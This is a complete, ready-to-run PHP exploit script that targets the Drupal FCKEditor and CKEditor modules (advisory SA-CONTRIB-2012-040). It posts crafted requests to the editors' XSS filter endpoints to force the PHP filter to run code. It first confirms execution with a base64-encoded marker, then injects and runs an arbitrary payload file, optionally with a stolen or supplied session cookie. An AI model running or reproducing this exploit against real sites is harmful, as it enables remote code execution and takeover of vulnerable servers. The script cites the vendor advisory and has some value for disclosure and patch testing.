<?php # Exploit Title: Drupal FCKEditor/CKEditor module remote PHP execution # Date: March 19, 2012 # Author: Patroscon # Software Link: http://drupal.org/project/ckeditor, http://drupal.org/project/fckeditor # Version: FCKEditor 6.x-2.2, CKEditor 6.x-1.8, CKEditor 7.x-1.6. # Tested on: Linux, Windows # Vendor Advisory: http://drupal.org/node/1482528 # Description # # It is possible to instruct FCKEditor and CKEditor module to pass text trough a chosen filter. # If the PHP filter module is enabled, users can chose to run this filter on chosen code. # # See http://drupal.org/1482528 /* * Patroscon has RISEN! * * Exploits SA-CONTRIB-2012-040 (http://drupal.org/node/1482528). * * Required: vulnerable site must also use PHP filter module. * Required for Drupal 6 exploit: You must have access permission listed in advisory. * * Point to the Drupal root. * * Use php patroscon.php http://example.com/ [cookie] [payloadfile] * * example: * * To check if the site can be exploited: php patroscon.php http://example.com/ * If you need a cookie: php patroscon.php http://example.com/ 'SESSa6a82714802c2c37ba16036f1faf01d4=g6TYq0r2mT8wCTQTKiYl6x2lIdRL1H21Db5CbomcKqU' * * It's possible to provide a filename with PHP exploit code. It will be executed when detection was succesful. When you provide the payload file * you must also provide a cookie argument. This may be a nonsense cookie. * * example: * * php patroscon.php http://example.com/ 'whatever' ./admin_sid.php * * Exploit code must be wrapped in <?php ?> tags. See admin_sid.php for an example. * */ if (!isset($argv[1])) { echo "You must give URL such as http://example.com/"; return; } $site = $argv[1]; $cookie = isset($argv[2]) ? $argv[2] : ''; $payloadfile = isset($argv[3]) ? $argv[3] : ''; $exploits = array( 'fckeditor' => array( 'path' => 'fckeditor/xss', 'pre' => 'filters[0]=php/0&text=', ), 'ckeditor v6' => array( 'path' => 'ckeditor/xss', 'pre' => 'filters[0]=php/0&text=', ), 'ckeditor v7' => array( 'path' => 'ckeditor/xss', 'pre' => 'filters[0]=aaa&textformat_filters=true&input_format=php_code&text=', ), ); echo "\nWorking on $site"; foreach ($exploits as $editor => $exploit) { echo "\n - $editor"; $url = $site . '/?q=' . urlencode($exploit['path']); $result = post($url, $exploit['pre'] . urlencode("<?php echo base64_decode('cGF0cm9zY29uIGhhcyByaXNlbg=='); ?>"), $cookie); switch ($result['info']['http_code']) { case 200: if ($result['content'] == 'patroscon has risen') { echo "\n - exploitable"; if ($payloadfile) { echo "\n - injecting payload"; $payload = file_get_contents($payloadfile); $result = post($url, $exploit['pre'] . urlencode($payload), $cookie); echo "\n\n********* Payload result [{$result['info']['http_code']}] ******************************************************************"; echo "\n" . $result['content']; echo "\n********** End payload **************************************************************************"; } echo "\n"; return; } else { echo "\n - unable to execute PHP"; } break; case 404: echo "\n - not installed"; break; case 403: echo "\n - access denied"; break; default: echo "\n - an unknown error occured."; } } echo "\n"; function post($url, $fields, $cookie) { $handle = curl_init($url); if (!$handle) { return; } curl_setopt_array($handle, array( CURLOPT_POST => TRUE, CURLOPT_POSTFIELDS => $fields, CURLOPT_RETURNTRANSFER => TRUE, CURLOPT_COOKIE => $cookie, )); $result = curl_exec($handle); $info = curl_getinfo($handle); curl_close($handle); return array('content' => $result, 'info' => $info); }